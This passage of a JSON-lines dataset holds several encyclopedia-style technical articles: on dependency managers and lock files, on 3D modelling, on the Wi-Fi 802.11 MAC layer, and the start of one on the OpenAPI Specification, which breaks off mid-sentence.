{"text":"# Dependency Manager\n\n## Summary\n\n\nA good practice in software design is to build software from smaller, single-purpose modules that expose well-defined interfaces. This is also in the spirit of software reuse. With the widespread adoption of open source software, often our own applications or modules depend on those written by others. Thus, to build our software we need to bring in all parts on which it depends, including language libraries and remote third-party modules. \n\nBut it's not trivial to ensure that we have all necessary dependencies, particularly when dependencies themselves depend on others. This is why we need a **Dependency Manager**, often invoked during the software build process. A useful definition states that, \n\n> Dependency management is a technique for declaring, resolving and using dependencies required by the project in an automated fashion.\n\n## Discussion\n\n### Isn't dependency manager same as a package manager?\n\nNo. A package manager operates at the system level and most often deals with binaries. It's role is to install libraries, tools, and other applications. It affects the entire system and not just one project. Because of this, it requires root access. Examples of package managers are apt-get (Linux), Brew (MacOS), and Chocolatey (Windows). \n\nA dependency manager operates at source code level. It's role is to setup the right dependencies for a particular application. It therefore implies that a dependency manager is something used by developers, not users or system admin. \n\nThus, a dependency manager is project specific. It helps in easy management of project dependencies. It has to ensure that same source code is used across environments, for example, when moving from Windows developer machine to Linux production system. There should be end-to-end visibility of dependencies. A dependency manager is essential for Continuous Integration. A good dependency manager should also make it easy to publish new packages. \n\n\n### What are the main components of a dependency management system?\n\nA dependency management system typically has the following components: \n\n    + **Module**: A software artefact, that we wish to use in our project. Depending on the language, modules are also called *packages* or *libraries*. Modules come with *metadata* to indicate dependencies.\n    + **Manifest**: Usually a file that specifies immediate/direct dependencies for our project. It specifies intent, such as, saying that we desire \"version 2.3 or above of module A\".\n    + **Lock**: Usually a file that captures a particular realization of the developer's intent. To extend the above example, version 2.3.2 of module A might be used.\n    + **Repository**: A place where modules are stored. Often repos are remote and accessed over the internet. Dependency manager usually knows the location of the repo but location can also be specified in the manifest file.\n    + **Dependency Constraint**: Usually in the manifest file, this is a constraint about versions of a module that are allowed for this project.\n    + **Resolution Rule**: Rules are applied by the dependency manager to arrive at a suitable module version. Selecting the right version is called *Dependency Resolution*.\n\n### What's the usual Project Dependency Management (PDM) pipeline?\n\nDependency managers bring together all necessary project dependencies before passing them to the compiler or interpreter. In this sense, their work is somewhat a preprocessing phase before the actual build happens. \n\nDependency managers start by reading the manifest file, in which direct dependencies are noted. They then read the metadata of these dependencies from their repositories to figure out the next level of dependencies. In other cases, they may download the dependencies right away and then process their dependencies. Either way, all dependencies must be downloaded and installed.\n\nExact installed versions of dependencies are recorded in a lock file. While the manifest file is important for a developer, the lock file has greater importance for operations folks. The lock file makes the project's dependencies reproducible in any environment.\n\n\n### What is transitive dependency?\n\nTransitivity is a concept in logic and mathematics. In the context of software dependencies, it can be explained as follows. If module A depends on module B, which in turn depends on module C, we can say that module A also depends on module C. Many levels of dependencies produce what's called a **Dependency Graph**. \n\nWhen a module appears multiple times in the graph, with different version numbers, the dependency manager must take a decision about which version to use. A similar decision must also be made when dynamic version numbers are specified. This selection process is called **Dependency Resolution**. \n\nA good dependency manager will not only resolve direct dependencies as mentioned in your project's top-level manifest file but also resolve all transitive dependencies. It should be able to handle any level of nesting. Typically, cyclic dependencies will cause problems. \n\n\n### Could you mention some rules used in Dependency Resolution?\n\nWe mention a few sample rules below for specific dependency managers. However, similar rules are likely to exist across many dependency managers.\n\nIn Gradle, after taking into account all transitive dependencies and constraints, the highest suitable version is selected. If there's a conflict, an error is thrown. You can also use dependency configurations and make manual adjustments. Maven uses the nearest version but if conflicts are at the same depth, the first one wins based on the order of declaration. \n\nNuGet uses four main rules: lowest applicable version, floating versions, nearest-wins, and cousin dependencies. This rule is applied with a warning since the package at a deeper level might get downgraded to an older version. \n\nNPM actually builds a dependency tree, where different versions of dependent packages can be installed in different branches of the tree. However, using what's called \"peer dependencies\", NPM allows us to enforce same versions where desired. \n\n\n### What's the purpose of lock files used by dependency managers?\n\nIf dependencies are specified in terms of exact versions, anyone else trying to build your project in any other environment will use the same versions. \n\nWhen dynamic version numbers are specified in manifest files, such as a range of versions, the version used may depend on the environment or the latest version available in the repository at build time. Dynamic version numbers are good because they allow us to bring in latest features/patches of dependent modules into our project. However, this causes uncertainty for continuous integration and production release. To solve this, versions used are recorded in a lock file. This lock file must be committed to version control so that anyone else using the project is guaranteed to use the same versions. \n\nWhat if you use only exact versions? Is lock file required in such a case? Yes. Even if direct dependencies are exact, transitive dependencies might be specified in a non-exact manner. Therefore, a lock file is essential in all cases. \n\nLock file is sometimes called \"a manifestation of the manifest\". \n\n\n### What should I look for when choosing a dependency manager?\n\nThe purpose of a dependency manager is to allow developers create a consistent and reproducible set of dependencies for their projects. It should be easy to use, have a well-defined behaviour and hooks for customizations. Some essential features to compare are the following:\n\n    + **Organization**: For example, Yarn uses flat mode while NPM builds a dependency tree.\n    + **Semantic Versioning**: Has provision to specify a range of versions.\n    + **Dependency Locking**: Uses lock files to reproduce exact versions.\n    + **Dependency Resolution**: Handles transitive dependencies. Resolves conflict with a well-defined set of rules.\n    + **Multiple Configurations**: Allows different versions of the same package. This is enabled by defining different configurations or groups, such as build vs testing.\n    + **Performance**: Caches downloaded packages for faster updates. Parallel downloads.\n    + **Security**: Does integrity checks via package checksums.\n    + **Customizations**: Dependencies can be made optional or versions can be manually specified. Can be configured to fetch from any repository. Supports offline installation.\n    + **Support**: Has good community support and adoption, with frequent updates.\n\n### What are some best practices that developers can adopt to better manage project dependencies?\n\nDevelopers need to version control not only the source code but also the manifest file and the lock file. In particular, always version control your lock file if you're building an application. If you're building a library, it's a good idea to do this as well. However, if you wish to build your library with the latest versions of its dependencies, it's recommended to use a second continuous integration build. \n\nIf you're making a Java library, let it not depend on frameworks such as Spring. Changes to frameworks can cause \"dependency hell\" for users of your library. Don't ship fat JAR files, files that include all dependencies. Only depend on what you need. \n\nFinally, it's best to avoid dependencies if you can implement them yourself. The argument is that this will keep your application lean and secure. Check if there's a native library to do the equivalent. Look for those with less transitive dependencies. Check memory usage and load time. Use fewer high-level interfaces. Prefer low-level function calls. Use abstractions. Test regularly on target environments. \n\n\n### Could you give examples of dependency managers in various languages?\n\nA few examples of dependency managers are listed below in the format *name: (language, default repo, default manifest, default lock)*: \n\n    + **Composer**: (PHP, Packagist, `composer.json`, `composer.lock`)\n    + **Gradle**: (Java, Maven Central, `build.gradle`, `gradle/dependency-locks/*.lockfile`)\n    + **Node Package Manager (NPM)**: (NodeJS, NPM, `package.json`, `package-lock.json`)\n    + **Yarn**: (NodeJS, NPM, `package.json`, `yarn.lock`)\n    + **Bundler**: (Ruby, RubyGems, `Gemfile`, `Gemfile.lock`)\n    + **dep**: (Go, -, `Gopkg.toml`, `Gopkg.lock`)\n    + **Cargo**: (Rust, Crates.io, `Cargo.toml`, `Cargo.lock`)\n    + **Pipenv**: (Python, PyPI, `Pipfile`, `Pipfile.lock`)In many languages, newer, better dependency managers are being preferred over older ones: Gradle over Maven and Any-Ivy (Java); Yarn over NPM and Bower (JavaScript); Bundler over RubyGems (Ruby); Composer over PEAR (PHP); dep over godep, glide and govendor (Go). In some cases, such as dep in Go, there's no default repository. The manifest file includes information on package sources.\n\nGradle did not initially support locking but locking could be implemented using Netflix's Nebula Plugins project. This plugin inspired Gradle to support locking. While `build.gradle` specifies dependencies at the top level, module metadata files (.module, .pom or ivy.xml) must also be read. \n\n\n### In which languages are dependencies more often used?\n\nOne study of 6.9 million versions of open source packages across 14 repository showed that NPM and CPAN have higher dependency counts; all others have 5 or less dependencies, on average. NPM and CPAN also have a larger spread. In general, higher the count, more complex is the dependency graph. While using third-party packages saves development time, there's also risks in terms of security, licensing and performance. Application health depends on all dependencies that we bring in. \n\nEach repository contains packages of a particular language: NPM (JavaScript), CPAN (Perl), Rubygems (Ruby), Maven (Java), Packagist (PHP), Cargo (Rust), Atom (JavaScript), Pub (Dart), CRAN (R), PyPI (Python), NuGet (.NET/C#/F#/Visual Basic), Elm (Elm), Hex (Erlang), Dub (D). Libraries.io tracks open source packages across different repositories. Since Go language doesn't have a default repository, Go Search provides a handy search functionality.\n\n## Milestones\n\nMar  \n2002\n\nBased on Project Object Model (POM), **Maven 1.0-beta-2** is released for managing Java projects. Maven 1.x reaches end of life in 2014. As a rewrite of Maven 1.x, with extra functionality, **Maven 2.0** is released in October 2005. Popular Maven plugins are also converted to the new version. Maven 2.0 can manage transitive dependencies. \n\nJul  \n2009\n\nFor managing dependencies for Java, including Android projects, **Gradle** v0.7 is released. Version v1.0 follows in June 2012. Version v4.8 is released in June 2018. Version v4.8 includes support for dependency locking. \n\nSep  \n2010\n\nAs a dependency manager for Ruby, **Bundler** V1.0.0 is released. Earliest release can be traced to 2009. Ruby community is credited with introducing the concept of *dependency locking*. \n\nOct  \n2010\n\nWhile being compatible with Maven 2.x projects and plugins, **Maven 3.0** is released. Among other things, it isolates project and plugin dependencies, and does better dependency resolution. \n\nMar  \n2011\n\nVersion v1.0.0rc9 of **Node Package Manager (NPM)** for NodeJS/JavaScript is released. Release v0.0.1 can be traced to January 2010. \n\nSep  \n2011\n\nAs a dependency manager for Xcode projects (Objective-C or Swift), **CocoaPods** 0.0.1 is released. Version 1.0.0 is released in May 2016. An alternative to CocoaPods is **Carthage** that trades configuration for convention. \n\nJul  \n2013\n\nVersion 1.0.0-alpha1 of **Composer** is released as a dependency manager for PHP. Version 1.0.0 is released in April 2016. Composer has been inspired by Node's NPM and Ruby's Bundler. Composer uses **Packagist** as its default repository but for internal/Intranet use, **Satis** is an alternative. \n\nSep  \n2014\n\nTo overcome the limitations of NuGet, **Paket** is released as a dependency manager for .NET. NuGet can be seen as a package manager. It doesn't handle transitive dependencies and selects the latest version when there are conflicts. Paket solves these problems of NuGet. \n\nAug  \n2015\n\nWith initial code commits from March 2014, **Cargo** version 0.4.0 is released as a dependency manager for Rust. As of June 2018, version 0.28.0 is the latest available. \n\nJun  \n2016\n\nVersion 0.2.0 of **Yarn**, is released for dependency management for NodeJS/Javascript. Version 1.0.0 is released in September 2017. For performance, Yarn caches downloaded packages and does downloads concurrently. It uses checksums to verify integrity of downloaded packages before installing them. It's inspired by Bundler, Cargo and NPM. \n\nMay  \n2017\n\nVersion 5.0.0 of **NPM** is released for NodeJS/JavaScript. This version introduces dependency locking. In July, version 5.1.0 is released to fix a problem that ignored changes to packages.json when lock file is present. \n\nJul  \n2017\n\nFor managing dependencies for Go, **dep** v0.2.0 is released.","meta":{"title":"Dependency Manager","href":"dependency-manager"}}
{"text":"# 3D Modelling\n\n## Summary\n\n\nA 3D model is a geometric representation of an object or a surface in a simulated 3D space. 3D modelling is about creating such models using computer software. Designers design completely new models or feed scanned images of existing objects into the computer to create 3D models. \n\n3D modelling is an art. It enables one to visualize the final output before building it. It also allows model derivations for detailed viewing. \n\n3D modelling is the bedrock of 3D printing. It evolved with the 3D printing industry that grew big in the 1990s. Almost every industry uses 3D modelling in some form. Video game development, filmmaking, architecture and engineering industries actively employ 3D modelling. It offers vital support for Industry 4.0 technologies to achieve a fully immersive interactive experience in virtual environments. Forecasts suggest the 3D modelling market will touch $7.6 billion by 2025.\n\n## Discussion\n\n### How is 3D modelling put to use?\n\nThe crux of 3D modelling is visualization and creativity. Modellers can create 3D models of a person, atmosphere or object of their choice. Using 3D modelling, one can easily understand complex designs. It allows modellers to fix drawing errors quickly. Modellers can design data-based models quite accurately. \n\nDifferent modellers use 3D modelling for different purposes. Engineers and designers use it to design new products or redesign existing products. Architects build visual demonstrations of buildings, landscapes and interiors using 3D modelling. Animation and game designers use it to create digital characters and assets. Filmmakers use it to produce visual effects. \n\nMedical industries 3D model designs for manufacturing prosthetics, dental implants and medicines. \n\n3D modelling offers cutaway visualization, surface curvature measurement and multispectral analysis. These are techniques to engage with materials in academic fields. \n\nAdditive manufacturing technologies use 3D modelling to construct models for 3D printing or manufacturing items in layers. \n\nAugmented Reality (AR) and Virtual Reality (VR) developers apply 3D modelling to add a sense of reality to the non-existent realities they create. \n\n\n### Can you discuss some important types of 3D modelling?\n\n**Solid Modelling** drafts models with simple shapes such as spheres, cubes and prisms. It suits best for models involving flat surfaces and simple curves of constant radii. It produces mathematically correct final outputs. \n\n**Wireframe Modelling** stitches the vertices of shapes in a web to make models. Each shape will have three or more vertices. So the web is a network of polygons. The triangle is its smallest polygon. The higher the number of triangles, the closer the 3D model will be to realism.  \n\n**Surface Modelling** follows guiding lines to define the shape and curvature of a 3D part. Software tools estimate the smooth surfaces and connect these guiding lines. Surface modelling handles complex shapes. It can produce visuals impossible to replicate in the real world.    \n\nSome other important methods are *Polygonal Modelling*, *Sculpting*, *Box Modelling*, *Non-Uniform Rational Basis Spline (NURBS)*, and *Non-Uniform Rational Mesh Smooth (NURMS)*. \n\nModellers may convert wireframe models into 3D views and add surfaces. It takes specific modelling operations. For example, *Boolean Operations* help to combine objects, subtract objects and create intersections. *Parametric Modelling* is the best fit to create design intent between dimensions, parts and assemblies. \n\n\n### Can you describe the typical workflow of 3D modelling?\n\n3D modelling starts with conception. Designers use reference images, real-world objects or existing concepts to conceive a model output.  \n\nPlanning for execution is the next step. The main idea is to fix the model's geometry, proportions and shapes before jumping in.  \n\nIn the execution stage, 3D modellers or artists use software to create primitive shapes that conform to the planned design. These shapes may not serve their best interests yet. So they add details to refine the design. And the model so refined will be of high polygon count. \n\nSince high-poly models are unsuitable for animation, modellers do a retopology on them. *Retopology* means simplifying complex models by reducing their polygon count. Low-poly models will need texturing. *Texturing* includes applying colours, textures, and material attributes to the surface of the 3D model. Put another way, texturing clothes the 3D model with 2D images called *Texture Maps*. Modellers consider how lights hitting on the 3D object's surface reflect its colour and surface texture. \n\n\n### What are some 3D modelling terms you need to know?\n\nWe note a few essential terms:\n\n    + **3D**: The three spatial dimensions are width, height and depth.\n    + **Axis of motion**: It's the imaginary line an object follows in a 3D space.\n    + **Axis of rotation**: It's the line in a 3D space about which an object rotates.\n    + **Beveling**: Modifying the edges of the 3D objects under design is beveling. It adds a hint of realism to the models.\n    + **Extrusion**: An extrusion tool creates 3D objects by forcing a third dimension on a two-dimensional model.\n    + **Nodes**: Nodes in 3D modelling are software functionalities packaged into atomic units. Nodes organized in a 3D environment are called node graphs. Modellers manipulate these node graphs via programmable APIs or visual interfaces by hovering a mouse. For instance, a *rotate node* produces rotated 3D textures. Similarly, a *pattern node* mixes patterns to form patterned textures.\n    + **Sculpting**: Modellers sculpt objects on a 3D display using software tools. They perform operations such as pushing, pulling, pinching, and grabbing to manipulate shapes.\n\n### What are some hardware considerations for 3D modelling?\n\nDue to rendering, not every computer can perform 3D modelling efficiently. Rendering adds specifications and design enhancements to yield presentable finished model. It requires hardware that can handle intense graphics and heavy software applications.  \n\nSome general component requirements are:\n\n    + **Central Processing Unit (CPU)**: Select multiple cores if you need rendering. A single core would be sufficient if you are happy with 3D modelling alone.\n    + **Graphics Processing Unit (GPU)**: It processes graphics and complex calculations. It gives good quality outputs and consumes less processing time. Opt for a GPU that suits you best. Currently, NVIDIA GTX 1060 or higher graphics in the NVIDIA series works best for modelling.\n    + **Random Access Memory (RAM)**: Ensure you have at least 8GB for smooth operations.\n    + **Hard Disk Storage**: Storage capacity will depend on the project size. However, adding a Solid State Device (SSD) storage boosts performance speeds.Apart from these, a monitor, a computer case, a power supply, cooling systems and other peripherals are essential. If the minimum requirements are not met, your system might work slowly. It may even freeze or crash. Overall, it will hamper productivity and frustrate you. \n\n\n### What are the software applications required for 3D Modelling?\n\n3D modelling involves the following software:\n\n    + **Platform**: We need a browser or an operating system (OS) to run 3D software applications. The OS requirements differ for different file formats and use cases. Most software applications run on top of Windows, macOS, iOS, Linux, or Android.\n    + **Specialized Software Applications**: For example, Tinkercad, Meshmixer, and SketcUP Free specialize in direct modelling. SculpGL, Leopoly and ZbrushCoreMini are useful for sculpting. Vectary is good for mesh modelling and parametric modelling. Blender specializes in sculpting.\n    + **Extension System**: Designers store 3D designs in standard file formats such as STL, IGS and OBJ. Devices compatible with these formats can access the designs.\n    + **Component Library**: This feature offers a single source of truth to store and retrieve design components. It lends consistency to designers working on the same project. Design developers who prefer code components to images will find it helpful.\n\n\n## Milestones\n\n1963\n\nIvan Sutherland develops and releases the first 3D drawing software called Sketchpad. It runs on a Lincoln TX-2 machine designed in 1956. Sketchpad becomes a pioneering contributor in the Human-Computer Interaction (HCI) field. It's a forerunner of the CAD software that we use today. It later plays an important role towards the development of Computer Graphics (CG). Graphic designers use sophisticated object-oriented programming (OOP) and Sketchpad to create Graphic User Interfaces (GUIs). \n\n1964\n\nIBM and General Motors join hands to develop DAC-1 (Design Augmented by Computer). It speeds up car production and provides quick and good-quality visualization. \n\n1971\n\nDonald P. Greenberg produces an early, sophisticated CG movie at the General Electric Visual Simulation Laboratory. He calls it Cornell in Perspective. \r Elsewhere, Dr Patrick J. Hanratty designs and introduces Automated Drafting And Machining (ADAM). It's a CAD software application. His company, Manufacturing and Consulting Services (MCS), supplies CAD software to major companies of the time, such as McDonnell Douglas. \n\n1974\n\nDonald P Greenberg founds the Program of Computer Graphics (PCG) at Cornell University, New York. Greenberg's later works become foundational for many of the Computer Graphics applications in the market today. \n\n1975\n\nDr Kenneth Versprille introduces Non-Uniform Rational B-Splines (NURBS) to CAD while working under ComputerVision. NURBS finds wide application in later years. \n\n1980\n\nThe U.S. National Bureau of Standards introduces Initial Graphics Exchange Specification (IGES). It becomes the standard file format to move CAD files between different software. STEP replaces it in 1994. \n\n1982\n\nJohn Walker founds Autodesk inc and introduces AutoCAD for computers. It's a handy tool for Architects and Engineers. AutoCAD would later introduce a 3D design that combines CAD tools and Building Information Modelling (BIM) for simulation and visualization. \n\n1988\n\nMartin Newell designs Cobalt (CAD Program). It's an early parameter-based CAD program and 3D modelling. It runs on both Macintosh and Microsoft Windows Operating Systems. \n\n1992\n\nJuergen Heimbach sets up Cadenas, an engineering firm that provides software solutions to 3D models. Cadenas' digital catalogues permit access to component information from anywhere in the world. \n\n1994\n\nISO Standard for the Exchange of Product Data (STEP) takes over as the new format for exchanging 3D data. It's a widely accepted international standard. STEP file is also addressed as ISO 10303-11. \n\n1995\n\nMIT Blackjack member, Jon Hirschtick, launches SolidWorks. It's a 3D CAD software that works on Windows platforms. It's easy to use and affordable. \n\n2010\n\nAutodesk releases AutoCAD 360. It's the mobile version of AutoCAD that enables designers to work from anywhere. \n\n2012\n\nAutodesk moves CAD to Cloud. Cloud enables several teams to work on the same design simultaneously. \n\n2015\n\nMindesk's co-founder, Gabriele Sorento, presents a prototype that facilitates a Virtual Reality (VR) Interface for CAD software. \n\n2019\n\nAutodesk releases CAD to AR inventor app. It permits the view of inventor models in Augmented Reality (AR).","meta":{"title":"3D Modelling","href":"3d-modelling"}}
{"text":"# Wi-Fi MAC Layer\n\n## Summary\n\n\nIEEE 802.11 MAC sub-layer is responsible for coordinating access to the shared physical air interface so that the Access Point (AP) and Wi-Fi stations in range can communicate effectively. MAC takes data from a higher sub-layer called LLC, adds header and tail bytes, and sends them to lower physical layer for transmission. The reverse happens when receiving data from the physical layer. If a frame is received in error, MAC can retransmit it. \n\nMultiple access is based on carrier sensing, channel contention and random backoff. Due to contention, a Wi-Fi network with a large number of active stations can suffer from low throughput and high latency. IEEE 802.11e and its subset Wi-Fi Multimedia attempt to alleviate this problem.\n\n## Discussion\n\n### What's the purpose of MAC layer in 802.11?\n\nMAC stands for \"Medium Access Control\", which implies that it's main function is to control access to a shared medium. The air interface is a shared medium through which all multiple Wi-Fi stations and access point (AP) attempt to transfer data. MAC implements the control mechanisms that allow multiple devices to reliably communicate by sharing the medium as specified in the standard.\n\nFormally, MAC functions include scanning, authentication, association, power saving and fragmentation. \n\nWhen it comes to the actual handling of data, MAC sits as a sub-layer within Data Link Layer. It takes a packet of data called *MAC Service Data Unit (MSDU)* from Logical Link Control (LLC) sub-layer. MAC adds necessary header and tail bytes to form *MAC Protocol Data Unit (MPDU)*. MPDU is then sent to the physical layer for transmission. The reverse flow happens when MAC receives a packet from physical layer. \n\n\n### How does a Wi-Fi station discover and associate with an AP?\n\nThere are two modes of discovery and the station is at liberty to use either or both: \n\n    + **Passive scanning**: The station looks for beacon frames that are regularly sent by an AP. These frames contain essential information about the network. If there are multiple APs within range, it selects the strongest one. Station then attempts to connect to the AP. Communication happens on the channel in which the AP is operating.\n    + **Active scanning**: The station sends a probe request either to a specific AP or to any AP within range. Either way, it expects a probe response from one or more APs, selects the strongest and attempts to connect to that AP. Since no prior beacon is decoded, station will send its probe on all channels.\n\n### What multiple access scheme is used in 802.11?\n\nMAC uses what's called Point Coordination Function (PCF) or Distributed Coordination Function (DCF). The latter is more prevalent in industry and employs *Carrier Sense Multiple Access with Collision Avoidance (CSMA/CA)*. \n\nThere are two parts to CSMA/CA as suggested by the name: \n\n    + **Carrier Sensing**: Wi-Fi stations must first sense the air interface. Only if the channel is idle for a specified amount of time (of duration DIFS), they can transmit. DIFS stands for DCF InterFrame Spacing.\n    + **Collision Avoidance**: If channel is sensed busy, the station waits till it's free for DIFS duration, then waits for a random interval before transmitting. This randomness reduces the chances that two waiting stations end up transmitting at the same time. \"Collisions\" can still occur and they are inferred when no acknowledgement is received by the sender. If ACK is not received, station backs off for a random duration and repeats the process again.\n\n### What's the structure of 802.11 MAC frames?\n\nThere are three types of MAC frames: data, control and management. Only data frames contain higher layer data. Control frames include ACK, RTS, CTS, Power Save Poll, etc. Management frames help stations discover and connect to AP. \n\nAll frames start with a 2-byte *Frame Control* that specifies the frame type and further details. All frames end with a 4-byte *Frame Check Sequence (FCS)* that's used to detect errors. Frame Control is part of what's called the MAC header, which can vary in length. For data frames, MAC header and FCS are added by MAC layer around the MSDU received from LLC. MSDU is often called MAC payload or frame body. Further details on MAC frame are available online. \n\n\n### Are there techniques in MAC to improve the reliability of communication?\n\nMAC uses many techniques and here we describe the important ones:\n\n    + **Error Detection**: Every MAC frame contains 4-byte FCS that's used to detect errors.\n    + **Retransmission**: For a corrupted frame, receiver will not send an acknowledgment frame. Sender will therefore retransmit the frame.\n    + **Fragmentation & Reassembly**: When frames are larger, there's a higher chance of collision. MAC can therefore fragment data/management frames and transmit them as individual MAC frames. Any errors, only fragments need to be retransmitted.\n    + **RTS/CTS**: *Request-to-Send* and *Clear-to-Send* are used to solve the hidden-node problem. When stations are widely spread around an AP, some may be hidden from others on the wireless channel. RTS/CTS handshaking alleviates this problem and reduces collision. This is an optional feature.\n\n### What are the MAC enhancements due to High Throughput (HT)?\n\nIEEE 802.11n introduced changes to MAC that are part of High Throughput (HT). The idea was to reduce MAC overhead and increase overall throughput. This is done using *Frame Aggregation*. Two types are possible: \n\n    + **Aggregate MAC Service Data Unit (A-MSDU)**: Multiple MSDUs are packed into a single MPDU that in turn maps to a single transmission frame. In this case, all MSDUs share the same MAC header.\n    + **Aggregate MAC Protocol Data Unit (A-MPDU)**: Multiple MPDUs are carried within a single transmission frame. Obviously, each MPDU has its own MAC header.These two are not mutually exclusive: a single transmission can have a combination of A-MSDUs and A-MPDUs, sometimes called *two level frame aggregation*. In fact, research has shown that a combination of the two gives best performance on both 802.11n and 802.11ac devices. \n\nMAC frame is extended: new header field called HT Control plus larger payload size. *Block Acknowledgments (BACK)* is introduced. \n\n\n### What are the MAC enhancements due to Very High Throughput (VHT)?\n\nIEEE 802.11ac introduced changes to MAC that are part of Very High Throughput (VHT). VHT also impacts deployments in 60 GHz band such as for 802.11ad. \n\nFrame aggregation can happen like in 802.11n but in larger sizes: MPDU size of about 8KB (11n) vs 11KB (11ac); PSDU size of about 64 KB (11n) vs 4 MB (11ac). MAC frame is updated: HT Control is defined for 11ac plus larger payload size. All frames are sent as A-MPDUs even if they contain only one MPDU. \n\n\n### I've heard of the terms \"lower MAC\" and \"upper MAC\". What are these?\n\nPart of MAC that interacts with LLC sub-layer is sometimes called *upper MAC* while the part that interacts with PHY layer is called *lower MAC*. Thus, MSDUs and A-MSDUs are processed in upper MAC while MPDUs and A-MPDUs are processed in lower MAC. In general, lower MAC deals with more time-critical operations such as MPDU transmissions and acknowledgements. For example, association of stations with AP is done by upper MAC but actual medium access (time-critical) is handled by lower MAC. \n\nIt's common for lower MAC to be implemented in hardware such as in FPGA. \n\n## Milestones\n\n2005\n\nIEEE 802.11e introduces QoS enhancements to MAC. Hybrid Coordination Function (HCF) is introduced. MAC header includes a 2-byte QoS Control field. \n\nOct  \n2009\n\nIEEE 802.11n is released and it includes changes to MAC. \n\nJan  \n2014\n\nIEEE 802.11ac is released and it includes changes to MAC.","meta":{"title":"Wi-Fi MAC Layer","href":"wi-fi-mac-layer"}}
{"text":"# OpenAPI Specification\n\n## Summary\n\n\nServices and applications expose interfaces that we call APIs. Every service can define its APIs in any way it wants provided those APIs are properly documented. However, there are benefits in following a standard to define or describe an API. This is exactly where the OpenAPI Specification (OAS) becomes relevant. \n\nOAS defines the rules, syntax and semantics for describing a RESTful API. OAS is language-agnostic, that is, it can be used for writing code in any programming language. It's in a format that can be read by both humans and machines. It's self-contained: no additional source code or documentation is required to understand an API specified in OAS. \n\nOAS is vendor-neutral and maintained by the *OpenAPI Initiative (OAI)* under the Linux Foundation. The specification document uses Apache License V2.0.\n\n## Discussion\n\n### What are the benefits of adopting the OpenAPI Specification?\n\nOAS enables higher efficiency, better collaboration, stable implementation and faster time to market. It makes APIs reusable and maintainable. More people can understand an OAS-based API definition since OAS provides a common vocabulary. Multiple teams can work in parallel since OAS enables a shared understanding of the APIs. Downstream service integration, continuous delivery and application security are further areas improved by OAS. \n\nBecause OAS is machine-readable, many tools exist to automatically validate, implement, test, mock or document APIs. Errors can be caught early even before any code is written. Moreover, client and server implementations can be generated automatically. This is commonly called the **API-first** approach whereby APIs are defined first. This is contrary to the traditional code-first approach. \n\nJSON Schema can describe only the data model. OAS can describe the entire API while also being compatible with JSON Schema. \n\nOAS is openly developed and released under an open license. It has wide industry support with more than 40 members at the OAI. It's got good documentation and support. \n\n\n### Could you share some case studies of OpenAPI?\n\nTwo places where OAS has become important are eCommerce platforms (eg. eBay) and the media industry (eg. Twitter). This has led to faster innovation. In banking, OAS has improved API security. At eBay, a transformer service enabled their customers to migrate from legacy contracts to OpenAPI contracts. \n\nOne eCommerce company migrated from a monolithic to a microservices architecture. OAS enabled them to generate API mocks from the API specifications and conduct many API acceptance tests. As a result, fewer end-to-end tests sufficed. In another company, API mocks served as reference for real implementations. \n\nOAS integrates with and helps in CI/CD pipelines. For example, changes to the API specification can be automatically validated using GitHub Actions. If the validation succeeds, the pull request can be automatically merged. \n\nAn API specification in OAS can be defined by someone and implemented by someone else. For example, 3GPP defined the 5G Core Network APIs using OAS. These APIs will then be implemented by various industry vendors. Network elements can come from different vendors and yet interwork more easily. Off-the-shelf tools have been used to test implementations and discover vulnerabilities. \n\n\n### Could you give a technical overview of the OpenAPI Specification?\n\nAn **OpenAPI Document** can be in either JSON or YAML format. If an API is specified in multiple files, it's recommended that the root file is named `openapi.json` or `openapi.yaml`. \n\nThe document has a hierarchical structure starting from a root object called **OpenAPI Object**. Fields of this object are `openapi`, `info`, `jsonSchemaDialect`, `servers`, `paths`, `webhooks`, `components`, `security`, `tags` and `externalDocs`. At least one of `paths`, `components` or `webhooks` must be present. All field names (at the root level or otherwise) are case sensitive unless otherwise stated. Fields are either fixed or patterned with regex. At any level, the specification can be extended with a patterned field that starts with `x-`. \n\n**Data types** in OAS are based on JSON Schema Specification. Examples include `integer`, `number` and `string`. OAS extends some of these with additional formats. Where `description` field is used, it can be formatted with CommonMark markdown. \n\n\n### Could you describe the root-level fields of the OpenAPI Specification?\n\nWe describe briefly the following root-level fields: \n\n    + `openapi`: Specifies the OAS version number. This is a string of the form *major.minor.patch*.\n    + `info`: Contains metadata on the API. Its fields include `title`, `summary`, `description`, `termsOfService`, `license`, etc.\n    + `jsonSchemaDialect`: Sets the default dialect such as JSON Schema 2020-12.\n    + `servers`: One or more Server Objects, each containing at least a URL. If omitted, defaults to a Server Object with URL `/`.\n    + `paths`: One or more Path Objects. Each Path Object represents an API endpoint along with operations permitted on it.\n    + `webhooks`: Webhooks are called by the API provider and may be implement by the consumer.\n    + `components`: Contains all reusable objects. Definitions here are generally referenced (using `$ref`) elsewhere in the document.\n    + `security`: Specifies security mechanisms across the API but individual operations can override this. Reuses `securitySchemes` from Components Object.\n    + `tags`: Tags provide a way to organize operations on endpoints. Operations may be defined without tags or use tags not defined at the root level.\n    + `externalDocs`: One or more URLs to external documentation.\n\n### How can API endpoints be specified in OpenAPI?\n\nIn OAS, API endpoints are called **Paths**. Each Path Object is an endpoint and must start with `/` character. This is appended to a server URL to obtain a full endpoint URL. RESTful HTTP methods (get, post, delete, etc.) are defined as Operation Objects within a Path Item Object.  \n\nEach **Operation Object** has the field `operationId` that's case sensitive and must be unique. The Operation Object also includes `requestBody` that conforms to HTTP 1.1 specification RFC7231. The field `responses` includes a list of possible responses to the operation's request.  \n\nA **Response Object** is associated with an HTTP status code (200, 404, etc.) or `default`. A `200` status response is usually accompanied by the `content` field that can define multiple Media Type Objects. For example, the API can define response content for both `application/json` and `application/xml`. The `description` field of a Response Object is mandatory and is meant to give API consumers a useful message to complement the HTTP status code.  \n\n\n### What tools are available within the OpenAPI ecosystem?\n\nThe company SmartBear continues to market products under the name of *Swagger*. Its online Swagger Editor is a useful tool to write API specification. It comes with an example called *Petstore*. The editor validates the specification and updates the documentation almost in real time. Developers can make API calls from the browser provided there's a hosted server implementation of the API. The editor's menu also has links to generate client and server code. \n\nOpenAPI.Tools has a curated list of many tools that work with OAS. There are tools that take code and generate OAS; turn OAS into client SDKs, server or mock server implementations; generate documentation; validate data; exercise requests and validate the responses; offer user-friendly GUIs for editing/viewing OAS; and more. If writing in JSON or YAML is not preferred, Domain-Specific Languages (DSLs) are also available. CUE is an example. \n\nThe OAI maintains another list of OpenAPI tools.\n\n\n### What are some best practices when using OpenAPI?\n\nBeyond OpenAPI, many of the best practices we mention here are applicable for general API design. Developers should adopt an **API-first approach** rather than code-first approach. This helps multiple teams to work in parallel 